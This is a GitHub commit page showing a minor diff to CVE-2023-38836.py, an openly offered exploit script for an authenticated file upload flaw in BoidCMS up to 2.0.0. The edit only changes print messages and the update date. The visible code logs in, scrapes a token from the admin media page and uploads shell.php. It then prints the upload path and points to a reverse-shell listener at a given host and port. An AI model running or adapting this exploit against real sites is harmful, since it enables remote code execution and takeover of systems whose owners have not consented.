Skip to content

Commit

Permalink
feat: show path after uploading
Browse files Browse the repository at this point in the history
  • Loading branch information
1337kid authored Jul 5, 2024
1 parent 1a7dade commit 10030c3
Showing 1 changed file with 4 additions and 3 deletions.
7 changes: 4 additions & 3 deletions CVE-2023-38836.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#!/usr/bin/python3
# Exploit Title: BoidCMS <= 2.0.0 - Authenticated file upload vulnerability
# Date: 08/21/2023
# Updated on: 6/23/2024
# Updated on: 07/05/2024
# Exploit Author: 1337kid
# Vendor Homepage: https://boidcms.github.io/#/
# Software Link: https://boidcms.github.io/BoidCMS.zip
Expand Down Expand Up @@ -51,7 +51,7 @@
exit()
print("[+] Logged in successfully")
#=========== File upload to RCE
print("[+] Uploading shell")
print("[+] Uploading shell.php")
req=s.get(f'{base_url}/admin?page=media')
token=re.findall('[a-z0-9]{64}',req.text)
form_upld_data={
Expand All @@ -68,4 +68,5 @@
if req.status_code == '404':
print("[-] Upload failed")
exit()
print(f'[+] Check the listener at {args.lhost}:{args.lport}')
print(f'[+] Uploaded to {base_url}/media/shell.php')
print(f'[+] Check the listener at {args.lhost}:{args.lport}')

0 comments on commit 10030c3

Please sign in to comment.